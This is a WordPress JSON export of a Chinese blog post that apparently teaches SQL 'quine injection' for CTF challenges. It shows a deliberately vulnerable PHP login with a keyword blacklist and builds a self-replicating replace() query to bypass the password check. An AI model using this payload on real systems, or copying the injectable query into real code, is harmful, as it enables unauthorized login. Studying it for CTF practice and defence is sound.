{"id":83,"date":"2025-03-12T20:47:50","date_gmt":"2025-03-12T12:47:50","guid":{"rendered":"https:\/\/1nksy.cn\/?p=83"},"modified":"2025-03-12T20:47:51","modified_gmt":"2025-03-12T12:47:51","slug":"quine%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/1nksy.cn\/index.php\/2025\/03\/12\/quine%e6%b3%a8%e5%85%a5\/","title":{"rendered":"quine\u6ce8\u5165"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u4ec0\u4e48\u662fquine\u6ce8\u5165?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">quine\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u7a0b\u5e8f\uff0c\u5b83\u4e0d\u63a5\u53d7\u8f93\u5165\u5e76\u4ea7\u751f\u81ea\u5df1\u6e90\u4ee3\u7801\u7684\u526f\u672c\u4f5c\u4e3a\u552f\u4e00\u7684\u8f93\u51fa\u3002 \u5728ctf\u5e94\u7528\u4e2d\uff0cQuine\u6ce8\u5165\u7684\u76ee\u7684\u5c31\u662f\u4f7f\u5f97\u8f93\u5165\u8f93\u51fa\u4e00\u81f4\uff0c\u7ed5\u8fc7\u9650\u5236\u767b\u5f55<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f8b<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br> &nbsp;include_once(\"lib.php\");<br>function alertMes($mes,$url){<br> &nbsp;die(\"&lt;script&gt;alert('{$mes}');location.href='{$url}';&lt;\/script&gt;\");<br>}<br>\u200b<br>function checkSql($s) {<br> &nbsp;if(preg_match(\"\/regexp|between|in|flag|=|&gt;|&lt;|and|\\||right|left|reverse|update|extractvalue|floor|substr|&amp;|;|\\\\\\$|0x|sleep|\\ \/i\",$s)){<br> &nbsp; &nbsp;alertMes('hacker', 'index.php');<br>  }<br>}<br>\u200b<br>if (isset($_POST['username']) &amp;&amp; $_POST['username'] != '' &amp;&amp; isset($_POST['password']) &amp;&amp; $_POST['password'] != '') {<br> &nbsp;$username=$_POST['username'];<br> &nbsp;$password=$_POST['password'];<br> &nbsp;if ($username !== 'admin') {<br> &nbsp; &nbsp;alertMes('only admin can login', 'index.php');<br>  }<br> &nbsp;checkSql($password);<br> &nbsp;$sql=\"SELECT password FROM users WHERE username='admin' and password='$password';\";<br> &nbsp;$user_result=mysqli_query($con,$sql);<br> &nbsp;$row = mysqli_fetch_array($user_result);<br> &nbsp;if (!$row) {<br> &nbsp; &nbsp;alertMes(\"something wrong\",'index.php');<br>  }<br> &nbsp;if ($row['password'] === $password) {<br> &nbsp; &nbsp;die($FLAG);<br>  } else {<br> &nbsp; &nbsp;alertMes(\"wrong password\",'index.php');<br>  }<br>}<br>\u200b<br>if(isset($_GET['source'])){<br> &nbsp;show_source(__FILE__);<br> &nbsp;die;<br>}<br> &nbsp;?&gt;<br> &nbsp;&lt;!-- \/?source --&gt;<br> &nbsp;&lt;html&gt;<br> &nbsp; &nbsp;&lt;body&gt;<br> &nbsp; &nbsp; &nbsp;&lt;form action=\"\/index.php\" method=\"post\"&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=\"text\" name=\"username\" placeholder=\"\u8d26\u53f7\"&gt;&lt;br\/&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=\"password\" name=\"password\" placeholder=\"\u5bc6\u7801\"&gt;&lt;br\/&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp;&lt;input type=\"submit\" \/ value=\"\u767b\u5f55\"&gt;<br> &nbsp; &nbsp; &nbsp;&lt;\/form&gt;<br> &nbsp; &nbsp;&lt;\/body&gt;<br> &nbsp;&lt;\/html&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5173\u952e\u5728\u4e8eif ($row[\u2018password\u2019] === $password) ,\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u67e5\u8be2\u51fa\u6765\u7684\u7ed3\u679c\u8981\u548c\u6211\u4eec\u8f93\u5165\u7684\u5bc6\u7801\u5f3a\u4e00\u81f4\u624d\u80fd\u767b\u5f55\u6210\u529f\u3002\u4e5f\u5c31\u662f\u8981\u7528\u5230quine\u8fd9\u4e2a\u201c\u81ea\u5df1\u751f\u81ea\u5df1\u201d\u7684\u6280\u5de7\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6784\u9020<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u57fa\u7840\u8bed\u53e5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>select replace(\u201c.\u201d,char(46),\u201d.\u201d);<\/code>\u628a&#8221;.&#8221;\u4e2d\u7684.\u6362\u6210\u4e86.(\u6838\u5fc3\u601d\u8def)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b\u8fd9\u4e2a\u8bed\u53e5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">select replace('replace(\".\",char(46),\".\")',char(46),'replace(\".\",char(46),\".\")'); #\u67e5\u8be2\u8bed\u53e5<br>replace(\"replace(\".\",char(46),\".\")\",char(46),\"replace(\".\",char(46),\".\")\"); #\u8f93\u51fa\u8bed\u53e5<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20250312202700511.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20250312202700511.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250312202700511\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8be5\u67e5\u8be2\u8bed\u53e5\u7684\u8f93\u51fa\u5185\u5bb9\u51e0\u4e4e\u548c\u539f\u67e5\u8be2\u8bed\u53e5\u76f8\u4f3c\uff0c\u4f46\u5f15\u53f7\u5374\u6709\u6240\u4e0d\u540c\uff0c\u539f\u672c\u7684\u5355\u5f15\u53f7\u53d8\u6210\u4e86\u53cc\u5f15\u53f7\uff0c\u4f46\u6211\u4eec\u5374\u4e0d\u80fd\u901a\u8fc7\u628a\u67e5\u8be2\u8bed\u53e5\u7684\u5355\u5f15\u53f7\u53d8\u4e3a\u53cc\u5f15\u53f7\u6765\u907f\u514d\uff0c<strong>\u56e0\u4e3areplace(\u201c.\u201d,char(46),\u201d.\u201d)\u5b57\u7b26\u4e32\u4e2d\u6709\u53cc\u5f15\u53f7\uff0c\u6240\u4ee5\u628a\u5b83\u5f53\u4f5c\u5b57\u7b26\u4e32\u5199\u5165replace\u65f6\u8981\u7528\u5355\u5f15\u53f7\uff0c\u4e0d\u7136\u4f1a\u62a5\u9519<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u60f3\u8981\u628a&#8217;\u53d8\u4e3a&#8221;\uff0c\u5c31\u53ef\u4ee5\u5d4c\u5957\u4e00\u6b21replace\uff0c\u518d\u7528\u4e00\u6b21replace\uff0c\u4f7f&#8217;\u53d8\u4e3a&#8221;\uff0c\u901a\u8fc7\u6b64\u6765\u6784\u9020<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">replace(\".\",char(34),char(39));#\u57fa\u7840\u8bed\u53e5<br>replace(replace(\".\",char(34),char(39)),char(46),\".\");#\u901a\u8fc7\u8be5\u8bed\u53e5\u8fdb\u884c\u81ea\u6211\u66ff\u6362\uff0c\u4f46\u8f93\u51fa\u4efb\u4e3a.<br>replace('replace(replace(\".\",char(34),char(39)),char(46),\".\")',char(34),char(39));#\u5c06\u4e4b\u524d\u7684\u8bed\u53e5\u5f53\u505a\u5b57\u7b26\u4e32\uff0c\u4ece\u800c\u6765\u6539\u53d8\u5f15\u53f7<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u7ec8\u8bed\u53e5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">select replace(replace('select replace(replace(\".\",char(34),char(39)),char(46),\".\")',char(34),char(39)),char(46),'select replace(replace(\".\",char(34),char(39)),char(46),\".\")');<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5206\u6790<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">#\u8bed\u53e5\u5206\u89e3<br>select replace(<br> &nbsp; &nbsp;replace(<br> &nbsp; &nbsp; &nbsp; &nbsp;'select replace(replace(\".\",char(34),char(39)),char(46),\".\")',<br> &nbsp; &nbsp; &nbsp; &nbsp;char(34),<br> &nbsp; &nbsp; &nbsp; &nbsp;char(39)<br> &nbsp; &nbsp;),<br> &nbsp; &nbsp;char(46),<br> &nbsp; &nbsp;'select replace(replace(\".\",char(34),char(39)),char(46),\".\")'<br>);<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">#\u628a\u5355\u5f15\u53f7\u91cc\u9762\u7684\u5185\u5bb9\u5f53\u505a\u5b57\u7b26\u4e32<br>#\u5916\u5c42\u7684replace\u8bed\u53e5<br>replace(<br> &nbsp; &nbsp; &nbsp; &nbsp;'select replace(replace(\".\",char(34),char(39)),char(46),\".\")',<br> &nbsp; &nbsp; &nbsp; &nbsp;char(34),<br> &nbsp; &nbsp; &nbsp; &nbsp;char(39)<br> &nbsp; &nbsp;)<br>#\u5c06\u5b57\u7b26\u4e32\u91cc\u9762\u7684\"\u66ff\u6362\u6210'<br>#\u7ed3\u679c\u4e3aselect replace(replace('.',char(34),char(39)),char(46),'.')<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">#\u6700\u5916\u5c42\u7684replace\u5c31\u53d8\u4e3a<br>replace(<br> &nbsp; &nbsp;'select replace(replace('.',char(34),char(39)),char(46),'.')',<br> &nbsp; &nbsp;char(46),<br> &nbsp; &nbsp;'select replace(replace(\".\",char(34),char(39)),char(46),\".\")'<br>)<br>#\u5c06'select replace(replace('.',char(34),char(39)),char(46),'.')'\u4e2d\u7684.,\u66ff\u6362\u4e3aselect replace(replace(\".\",char(34),char(39)),char(46),\".\")<br>#\u4ece\u800c\u8bed\u53e5\u5c31\u53d8\u4e3a\u4e86replace(replace('select replace(replace(\".\",char(34),char(39)),char(46),\".\")',char(34),char(39)),char(46),'select replace(replace(\".\",char(34),char(39)),char(46),\".\")');<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4ec0\u4e48\u662fquine\u6ce8\u5165? quine\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u7a0b\u5e8f\uff0c\u5b83\u4e0d\u63a5\u53d7\u8f93\u5165\u5e76\u4ea7\u751f\u81ea\u5df1\u6e90\u4ee3\u7801\u7684\u526f\u672c\u4f5c\u4e3a\u552f\u4e00\u7684\u8f93\u51fa\u3002 \u5728ct [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-83","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/83","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/comments?post=83"}],"version-history":[{"count":1,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/83\/revisions"}],"predecessor-version":[{"id":84,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/83\/revisions\/84"}],"wp:attachment":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/media?parent=83"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/categories?post=83"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/tags?post=83"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}